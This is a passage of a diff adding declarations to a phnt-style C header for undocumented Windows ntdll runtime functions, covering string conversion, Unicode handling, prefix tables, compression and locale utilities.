+// end_private + +// Wait on address + +// begin_rev + +#if (PHNT_VERSION >= PHNT_WIN8) + +NTSYSAPI +NTSTATUS +NTAPI +RtlWaitOnAddress( + _In_ volatile VOID *Address, + _In_ PVOID CompareAddress, + _In_ SIZE_T AddressSize, + _In_opt_ PLARGE_INTEGER Timeout + ); + +NTSYSAPI +VOID +NTAPI +RtlWakeAddressAll( + _In_ PVOID Address + ); + +NTSYSAPI +VOID +NTAPI +RtlWakeAddressSingle( + _In_ PVOID Address + ); + +#endif + +// end_rev + +// Strings + +#ifndef PHNT_NO_INLINE_INIT_STRING +FORCEINLINE VOID RtlInitString( + _Out_ PSTRING DestinationString, + _In_opt_ PCSTR SourceString + ) +{ + if (SourceString) + DestinationString->MaximumLength = (DestinationString->Length = (USHORT)strlen(SourceString)) + 1; + else + DestinationString->MaximumLength = DestinationString->Length = 0; + + DestinationString->Buffer = (PCHAR)SourceString; +} +#else +NTSYSAPI +VOID +NTAPI +RtlInitString( + _Out_ PSTRING DestinationString, + _In_opt_ PCSTR SourceString + ); +#endif + +#if (PHNT_VERSION >= PHNT_THRESHOLD) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitStringEx( + _Out_ PSTRING DestinationString, + _In_opt_z_ PCSZ SourceString + ); +#endif + +#ifndef PHNT_NO_INLINE_INIT_STRING +FORCEINLINE VOID RtlInitAnsiString( + _Out_ PANSI_STRING DestinationString, + _In_opt_ PCSTR SourceString + ) +{ + if (SourceString) + DestinationString->MaximumLength = (DestinationString->Length = (USHORT)strlen(SourceString)) + 1; + else + DestinationString->MaximumLength = DestinationString->Length = 0; + + DestinationString->Buffer = (PCHAR)SourceString; +} +#else +NTSYSAPI +VOID +NTAPI +RtlInitAnsiString( + _Out_ PANSI_STRING DestinationString, + _In_opt_ PCSTR SourceString + ); +#endif + +#if (PHNT_VERSION >= PHNT_WS03) +NTSYSAPI +NTSTATUS +NTAPI +RtlInitAnsiStringEx( + _Out_ PANSI_STRING DestinationString, + _In_opt_z_ PCSZ SourceString + ); +#endif + +NTSYSAPI +VOID +NTAPI +RtlFreeAnsiString( + _In_ PANSI_STRING AnsiString + ); + +NTSYSAPI +VOID +NTAPI +RtlFreeOemString( + _In_ POEM_STRING OemString + ); + +NTSYSAPI +VOID +NTAPI +RtlCopyString( + _In_ PSTRING DestinationString, + _In_opt_ PSTRING SourceString + ); + +NTSYSAPI +CHAR +NTAPI +RtlUpperChar( + _In_ CHAR Character + ); + +_Must_inspect_result_ +NTSYSAPI +LONG +NTAPI +RtlCompareString( + _In_ PSTRING String1, + _In_ PSTRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualString( + _In_ PSTRING String1, + _In_ PSTRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlPrefixString( + _In_ PSTRING String1, + _In_ PSTRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendStringToString( + _In_ PSTRING Destination, + _In_ PSTRING Source + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendAsciizToString( + _In_ PSTRING Destination, + _In_opt_ PCSTR Source + ); + +NTSYSAPI +VOID +NTAPI +RtlUpperString( + _In_ PSTRING DestinationString, + _In_ PSTRING SourceString + ); + +FORCEINLINE +BOOLEAN +RtlIsNullOrEmptyUnicodeString( + _In_opt_ PUNICODE_STRING String + ) +{ + return !String || String->Length == 0; +} + +FORCEINLINE +VOID +NTAPI +RtlInitEmptyUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_ PWCHAR Buffer, + _In_ USHORT MaximumLength + ) +{ + DestinationString->Buffer = Buffer; + DestinationString->MaximumLength = MaximumLength; + DestinationString->Length = 0; +} + +#ifndef PHNT_NO_INLINE_INIT_STRING +FORCEINLINE VOID RtlInitUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_ PCWSTR SourceString + ) +{ + if (SourceString) + DestinationString->MaximumLength = (DestinationString->Length = (USHORT)(wcslen(SourceString) * sizeof(WCHAR))) + sizeof(UNICODE_NULL); + else + DestinationString->MaximumLength = DestinationString->Length = 0; + + DestinationString->Buffer = (PWCH)SourceString; +} +#else +NTSYSAPI +VOID +NTAPI +RtlInitUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_ PCWSTR SourceString + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlInitUnicodeStringEx( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_ PCWSTR SourceString + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeString( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCWSTR SourceString + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + _Out_ PUNICODE_STRING DestinationString, + _In_ PCSTR SourceString + ); + +NTSYSAPI +VOID +NTAPI +RtlFreeUnicodeString( + _In_ PUNICODE_STRING UnicodeString + ); + +#define RTL_DUPLICATE_UNICODE_STRING_NULL_TERMINATE (0x00000001) +#define RTL_DUPLICATE_UNICODE_STRING_ALLOCATE_NULL_STRING (0x00000002) + +NTSYSAPI +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + _In_ ULONG Flags, + _In_ PUNICODE_STRING StringIn, + _Out_ PUNICODE_STRING StringOut + ); + +NTSYSAPI +VOID +NTAPI +RtlCopyUnicodeString( + _In_ PUNICODE_STRING DestinationString, + _In_ PUNICODE_STRING SourceString + ); + +NTSYSAPI +WCHAR +NTAPI +RtlUpcaseUnicodeChar( + _In_ WCHAR SourceCharacter + ); + +NTSYSAPI +WCHAR +NTAPI +RtlDowncaseUnicodeChar( + _In_ WCHAR SourceCharacter + ); + +_Must_inspect_result_ +NTSYSAPI +LONG +NTAPI +RtlCompareUnicodeString( + _In_ PUNICODE_STRING String1, + _In_ PUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +#if (PHNT_VERSION >= PHNT_VISTA) +_Must_inspect_result_ +NTSYSAPI +LONG +NTAPI +RtlCompareUnicodeStrings( + _In_reads_(String1Length) PCWCH String1, + _In_ SIZE_T String1Length, + _In_reads_(String2Length) PCWCH String2, + _In_ SIZE_T String2Length, + _In_ BOOLEAN CaseInSensitive + ); +#endif + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualUnicodeString( + _In_ PUNICODE_STRING String1, + _In_ PUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +#define HASH_STRING_ALGORITHM_DEFAULT 0 +#define HASH_STRING_ALGORITHM_X65599 1 +#define HASH_STRING_ALGORITHM_INVALID 0xffffffff + +NTSYSAPI +NTSTATUS +NTAPI +RtlHashUnicodeString( + _In_ PUNICODE_STRING String, + _In_ BOOLEAN CaseInSensitive, + _In_ ULONG HashAlgorithm, + _Out_ PULONG HashValue + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlValidateUnicodeString( + _In_ ULONG Flags, + _In_ PUNICODE_STRING String + ); + +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlPrefixUnicodeString( + _In_ PUNICODE_STRING String1, + _In_ PUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive + ); + +#if (PHNT_VERSION >= PHNT_THRESHOLD) +_Must_inspect_result_ +NTSYSAPI +BOOLEAN +NTAPI +RtlSuffixUnicodeString( + _In_ PUNICODE_STRING String1, + _In_ PUNICODE_STRING String2, + _In_ BOOLEAN CaseInSensitive + ); +#endif + +#if (PHNT_VERSION >= PHNT_THRESHOLD) +_Must_inspect_result_ +NTSYSAPI +PWCHAR +NTAPI +RtlFindUnicodeSubstring( + _In_ PUNICODE_STRING FullString, + _In_ PUNICODE_STRING SearchString, + _In_ BOOLEAN CaseInSensitive + ); +#endif + +#define RTL_FIND_CHAR_IN_UNICODE_STRING_START_AT_END 0x00000001 +#define RTL_FIND_CHAR_IN_UNICODE_STRING_COMPLEMENT_CHAR_SET 0x00000002 +#define RTL_FIND_CHAR_IN_UNICODE_STRING_CASE_INSENSITIVE 0x00000004 + +NTSYSAPI +NTSTATUS +NTAPI +RtlFindCharInUnicodeString( + _In_ ULONG Flags, + _In_ PUNICODE_STRING StringToSearch, + _In_ PUNICODE_STRING CharSet, + _Out_ PUSHORT NonInclusivePrefixLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeStringToString( + _In_ PUNICODE_STRING Destination, + _In_ PUNICODE_STRING Source + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAppendUnicodeToString( + _In_ PUNICODE_STRING Destination, + _In_opt_ PCWSTR Source + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDowncaseUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +VOID +NTAPI +RtlEraseUnicodeString( + _Inout_ PUNICODE_STRING String + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_ PANSI_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToAnsiString( + _Inout_ PANSI_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +WCHAR +NTAPI +RtlAnsiCharToUnicodeChar( + _Inout_ PUCHAR *SourceCharacter + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToAnsiString( + _Inout_ PANSI_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlOemStringToUnicodeString( + _Inout_ PUNICODE_STRING DestinationString, + _In_ POEM_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToOemString( + _Inout_ POEM_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToOemString( + _Inout_ POEM_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeStringToCountedOemString( + _Inout_ POEM_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToCountedOemString( + _Inout_ POEM_STRING DestinationString, + _In_ PUNICODE_STRING SourceString, + _In_ BOOLEAN AllocateDestinationString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlMultiByteToUnicodeN( + _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInMultiByteString) PCSTR MultiByteString, + _In_ ULONG BytesInMultiByteString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlMultiByteToUnicodeSize( + _Out_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInMultiByteString) PCSTR MultiByteString, + _In_ ULONG BytesInMultiByteString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToMultiByteN( + _Out_writes_bytes_to_(MaxBytesInMultiByteString, *BytesInMultiByteString) PCHAR MultiByteString, + _In_ ULONG MaxBytesInMultiByteString, + _Out_opt_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToMultiByteSize( + _Out_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeToMultiByteN( + _Out_writes_bytes_to_(MaxBytesInMultiByteString, *BytesInMultiByteString) PCHAR MultiByteString, + _In_ ULONG MaxBytesInMultiByteString, + _Out_opt_ PULONG BytesInMultiByteString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlOemToUnicodeN( + _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWSTR UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInOemString) PCCH OemString, + _In_ ULONG BytesInOemString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToOemN( + _Out_writes_bytes_to_(MaxBytesInOemString, *BytesInOemString) PCHAR OemString, + _In_ ULONG MaxBytesInOemString, + _Out_opt_ PULONG BytesInOemString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeToOemN( + _Out_writes_bytes_to_(MaxBytesInOemString, *BytesInOemString) PCHAR OemString, + _In_ ULONG MaxBytesInOemString, + _Out_opt_ PULONG BytesInOemString, + _In_reads_bytes_(BytesInUnicodeString) PCWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlConsoleMultiByteToUnicodeN( + _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInMultiByteString) PCCH MultiByteString, + _In_ ULONG BytesInMultiByteString, + _Out_ PULONG pdwSpecialChar + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSAPI +NTSTATUS +NTAPI +RtlUTF8ToUnicodeN( + _Out_writes_bytes_to_(UnicodeStringMaxByteCount, *UnicodeStringActualByteCount) PWSTR UnicodeStringDestination, + _In_ ULONG UnicodeStringMaxByteCount, + _Out_ PULONG UnicodeStringActualByteCount, + _In_reads_bytes_(UTF8StringByteCount) PCCH UTF8StringSource, + _In_ ULONG UTF8StringByteCount + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToUTF8N( + _Out_writes_bytes_to_(UTF8StringMaxByteCount, *UTF8StringActualByteCount) PCHAR UTF8StringDestination, + _In_ ULONG UTF8StringMaxByteCount, + _Out_ PULONG UTF8StringActualByteCount, + _In_reads_bytes_(UnicodeStringByteCount) PCWCH UnicodeStringSource, + _In_ ULONG UnicodeStringByteCount + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlCustomCPToUnicodeN( + _In_ PCPTABLEINFO CustomCP, + _Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG MaxBytesInUnicodeString, + _Out_opt_ PULONG BytesInUnicodeString, + _In_reads_bytes_(BytesInCustomCPString) PCH CustomCPString, + _In_ ULONG BytesInCustomCPString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUnicodeToCustomCPN( + _In_ PCPTABLEINFO CustomCP, + _Out_writes_bytes_to_(MaxBytesInCustomCPString, *BytesInCustomCPString) PCH CustomCPString, + _In_ ULONG MaxBytesInCustomCPString, + _Out_opt_ PULONG BytesInCustomCPString, + _In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlUpcaseUnicodeToCustomCPN( + _In_ PCPTABLEINFO CustomCP, + _Out_writes_bytes_to_(MaxBytesInCustomCPString, *BytesInCustomCPString) PCH CustomCPString, + _In_ ULONG MaxBytesInCustomCPString, + _Out_opt_ PULONG BytesInCustomCPString, + _In_reads_bytes_(BytesInUnicodeString) PWCH UnicodeString, + _In_ ULONG BytesInUnicodeString + ); + +NTSYSAPI +VOID +NTAPI +RtlInitCodePageTable( + _In_ PUSHORT TableBase, + _Out_ PCPTABLEINFO CodePageTable + ); + +NTSYSAPI +VOID +NTAPI +RtlInitNlsTables( + _In_ PUSHORT AnsiNlsBase, + _In_ PUSHORT OemNlsBase, + _In_ PUSHORT LanguageNlsBase, + _Out_ PNLSTABLEINFO TableInfo // PCPTABLEINFO? + ); + +NTSYSAPI +VOID +NTAPI +RtlResetRtlTranslations( + _In_ PNLSTABLEINFO TableInfo + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlIsTextUnicode( + _In_ PVOID Buffer, + _In_ ULONG Size, + _Inout_opt_ PULONG Result + ); + +typedef enum _RTL_NORM_FORM +{ + NormOther = 0x0, + NormC = 0x1, + NormD = 0x2, + NormKC = 0x5, + NormKD = 0x6, + NormIdna = 0xd, + DisallowUnassigned = 0x100, + NormCDisallowUnassigned = 0x101, + NormDDisallowUnassigned = 0x102, + NormKCDisallowUnassigned = 0x105, + NormKDDisallowUnassigned = 0x106, + NormIdnaDisallowUnassigned = 0x10d +} RTL_NORM_FORM; + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlNormalizeString( + _In_ ULONG NormForm, // RTL_NORM_FORM + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString, + _Inout_ PLONG DestinationStringLength + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSAPI +NTSTATUS +NTAPI +RtlIsNormalizedString( + _In_ ULONG NormForm, // RTL_NORM_FORM + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_ PBOOLEAN Normalized + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) +// ntifs:FsRtlIsNameInExpression +NTSYSAPI +BOOLEAN +NTAPI +RtlIsNameInExpression( + _In_ PUNICODE_STRING Expression, + _In_ PUNICODE_STRING Name, + _In_ BOOLEAN IgnoreCase, + _In_opt_ PWCH UpcaseTable + ); +#endif + +#if (PHNT_VERSION >= PHNT_REDSTONE4) +// rev +NTSYSAPI +BOOLEAN +NTAPI +RtlIsNameInUnUpcasedExpression( + _In_ PUNICODE_STRING Expression, + _In_ PUNICODE_STRING Name, + _In_ BOOLEAN IgnoreCase, + _In_opt_ PWCH UpcaseTable + ); +#endif + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualDomainName( + _In_ PUNICODE_STRING String1, + _In_ PUNICODE_STRING String2 + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlEqualComputerName( + _In_ PUNICODE_STRING String1, + _In_ PUNICODE_STRING String2 + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDnsHostNameToComputerName( + _Out_ PUNICODE_STRING ComputerNameString, + _In_ PUNICODE_STRING DnsHostNameString, + _In_ BOOLEAN AllocateComputerNameString + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlStringFromGUID( + _In_ PGUID Guid, + _Out_ PUNICODE_STRING GuidString + ); + +#if (PHNT_VERSION >= PHNT_WINBLUE) + +// rev +NTSYSAPI +NTSTATUS +NTAPI +RtlStringFromGUIDEx( + _In_ PGUID Guid, + _Inout_ PUNICODE_STRING GuidString, + _In_ BOOLEAN AllocateGuidString + ); + +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlGUIDFromString( + _In_ PUNICODE_STRING GuidString, + _Out_ PGUID Guid + ); + +#if (PHNT_VERSION >= PHNT_VISTA) + +NTSYSAPI +LONG +NTAPI +RtlCompareAltitudes( + _In_ PUNICODE_STRING Altitude1, + _In_ PUNICODE_STRING Altitude2 + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIdnToAscii( + _In_ ULONG Flags, + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString, + _Inout_ PLONG DestinationStringLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIdnToUnicode( + _In_ ULONG Flags, + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString, + _Inout_ PLONG DestinationStringLength + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlIdnToNameprepUnicode( + _In_ ULONG Flags, + _In_ PCWSTR SourceString, + _In_ LONG SourceStringLength, + _Out_writes_to_(*DestinationStringLength, *DestinationStringLength) PWSTR DestinationString, + _Inout_ PLONG DestinationStringLength + ); + +#endif + +// Prefix + +typedef struct _PREFIX_TABLE_ENTRY +{ + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _PREFIX_TABLE_ENTRY *NextPrefixTree; + RTL_SPLAY_LINKS Links; + PSTRING Prefix; +} PREFIX_TABLE_ENTRY, *PPREFIX_TABLE_ENTRY; + +typedef struct _PREFIX_TABLE +{ + CSHORT NodeTypeCode; + CSHORT NameLength; + PPREFIX_TABLE_ENTRY NextPrefixTree; +} PREFIX_TABLE, *PPREFIX_TABLE; + +NTSYSAPI +VOID +NTAPI +PfxInitialize( + _Out_ PPREFIX_TABLE PrefixTable + ); + +NTSYSAPI +BOOLEAN +NTAPI +PfxInsertPrefix( + _In_ PPREFIX_TABLE PrefixTable, + _In_ PSTRING Prefix, + _Out_ PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +NTSYSAPI +VOID +NTAPI +PfxRemovePrefix( + _In_ PPREFIX_TABLE PrefixTable, + _In_ PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +NTSYSAPI +PPREFIX_TABLE_ENTRY +NTAPI +PfxFindPrefix( + _In_ PPREFIX_TABLE PrefixTable, + _In_ PSTRING FullName + ); + +typedef struct _UNICODE_PREFIX_TABLE_ENTRY +{ + CSHORT NodeTypeCode; + CSHORT NameLength; + struct _UNICODE_PREFIX_TABLE_ENTRY *NextPrefixTree; + struct _UNICODE_PREFIX_TABLE_ENTRY *CaseMatch; + RTL_SPLAY_LINKS Links; + PUNICODE_STRING Prefix; +} UNICODE_PREFIX_TABLE_ENTRY, *PUNICODE_PREFIX_TABLE_ENTRY; + +typedef struct _UNICODE_PREFIX_TABLE +{ + CSHORT NodeTypeCode; + CSHORT NameLength; + PUNICODE_PREFIX_TABLE_ENTRY NextPrefixTree; + PUNICODE_PREFIX_TABLE_ENTRY LastNextEntry; +} UNICODE_PREFIX_TABLE, *PUNICODE_PREFIX_TABLE; + +NTSYSAPI +VOID +NTAPI +RtlInitializeUnicodePrefix( + _Out_ PUNICODE_PREFIX_TABLE PrefixTable + ); + +NTSYSAPI +BOOLEAN +NTAPI +RtlInsertUnicodePrefix( + _In_ PUNICODE_PREFIX_TABLE PrefixTable, + _In_ PUNICODE_STRING Prefix, + _Out_ PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry + ); + +NTSYSAPI +VOID +NTAPI +RtlRemoveUnicodePrefix( + _In_ PUNICODE_PREFIX_TABLE PrefixTable, + _In_ PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry + ); + +NTSYSAPI +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlFindUnicodePrefix( + _In_ PUNICODE_PREFIX_TABLE PrefixTable, + _In_ PUNICODE_STRING FullName, + _In_ ULONG CaseInsensitiveIndex + ); + +NTSYSAPI +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlNextUnicodePrefix( + _In_ PUNICODE_PREFIX_TABLE PrefixTable, + _In_ BOOLEAN Restart + ); + +// Compression + +typedef struct _COMPRESSED_DATA_INFO +{ + USHORT CompressionFormatAndEngine; // COMPRESSION_FORMAT_* and COMPRESSION_ENGINE_* + + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved; + + USHORT NumberOfChunks; + + ULONG CompressedChunkSizes[1]; +} COMPRESSED_DATA_INFO, *PCOMPRESSED_DATA_INFO; + +NTSYSAPI +NTSTATUS +NTAPI +RtlGetCompressionWorkSpaceSize( + _In_ USHORT CompressionFormatAndEngine, + _Out_ PULONG CompressBufferWorkSpaceSize, + _Out_ PULONG CompressFragmentWorkSpaceSize + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCompressBuffer( + _In_ USHORT CompressionFormatAndEngine, + _In_reads_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_writes_bytes_to_(CompressedBufferSize, *FinalCompressedSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_ ULONG UncompressedChunkSize, + _Out_ PULONG FinalCompressedSize, + _In_ PVOID WorkSpace + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressBuffer( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize + ); + +#if (PHNT_VERSION >= PHNT_WIN8) +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressBufferEx( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedBufferSize, *FinalUncompressedSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _Out_ PULONG FinalUncompressedSize, + _In_ PVOID WorkSpace + ); +#endif + +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressFragment( + _In_ USHORT CompressionFormat, + _Out_writes_bytes_to_(UncompressedFragmentSize, *FinalUncompressedSize) PUCHAR UncompressedFragment, + _In_ ULONG UncompressedFragmentSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_range_(<, CompressedBufferSize) ULONG FragmentOffset, + _Out_ PULONG FinalUncompressedSize, + _In_ PVOID WorkSpace + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDescribeChunk( + _In_ USHORT CompressionFormat, + _Inout_ PUCHAR *CompressedBuffer, + _In_ PUCHAR EndOfCompressedBufferPlus1, + _Out_ PUCHAR *ChunkBuffer, + _Out_ PULONG ChunkSize + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlReserveChunk( + _In_ USHORT CompressionFormat, + _Inout_ PUCHAR *CompressedBuffer, + _In_ PUCHAR EndOfCompressedBufferPlus1, + _Out_ PUCHAR *ChunkBuffer, + _In_ ULONG ChunkSize + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlDecompressChunks( + _Out_writes_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _In_reads_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_ ULONG CompressedBufferSize, + _In_reads_bytes_(CompressedTailSize) PUCHAR CompressedTail, + _In_ ULONG CompressedTailSize, + _In_ PCOMPRESSED_DATA_INFO CompressedDataInfo + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlCompressChunks( + _In_reads_bytes_(UncompressedBufferSize) PUCHAR UncompressedBuffer, + _In_ ULONG UncompressedBufferSize, + _Out_writes_bytes_(CompressedBufferSize) PUCHAR CompressedBuffer, + _In_range_(>=, (UncompressedBufferSize - (UncompressedBufferSize / 16))) ULONG CompressedBufferSize, + _Inout_updates_bytes_(CompressedDataInfoLength) PCOMPRESSED_DATA_INFO CompressedDataInfo, + _In_range_(>, sizeof(COMPRESSED_DATA_INFO)) ULONG CompressedDataInfoLength, + _In_ PVOID WorkSpace + ); + +// Locale + +#if (PHNT_VERSION >= PHNT_VISTA) + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlConvertLCIDToString( + _In_ LCID LcidValue, + _In_ ULONG Base, + _In_ ULONG Padding, // string is padded to this width + _Out_writes_(Size) PWSTR pResultBuf, + _In_ ULONG Size + ); + +// private +NTSYSAPI +BOOLEAN +NTAPI +RtlIsValidLocaleName( + _In_ PCWSTR LocaleName, + _In_ ULONG Flags + ); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlGetParentLocaleName( + _In_ PCWSTR LocaleName, + _Inout_ PUNICODE_STRING ParentLocaleName, + _In_ ULONG Flags, + _In_ BOOLEAN AllocateDestinationString + ); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlLcidToLocaleName( + _In_ LCID lcid, // sic + _Inout_ PUNICODE_STRING LocaleName, + _In_ ULONG Flags, + _In_ BOOLEAN AllocateDestinationString + ); + +// private +NTSYSAPI +NTSTATUS +NTAPI +RtlLocaleNameToLcid( + _In_ PCWSTR LocaleName, + _Out_ PLCID lcid, + _In_ ULONG Flags + ); + +// private +NTSYSAPI +BOOLEAN +NTAPI +RtlLCIDToCultureName( + _In_ LCID Lcid, + _Inout_ PUNICODE_STRING String + ); + +// private +NTSYSAPI +BOOLEAN +NTAPI +RtlCultureNameToLCID( + _In_ PUNICODE_STRING String, + _Out_ PLCID Lcid + ); + +// private +NTSYSAPI +VOID +NTAPI 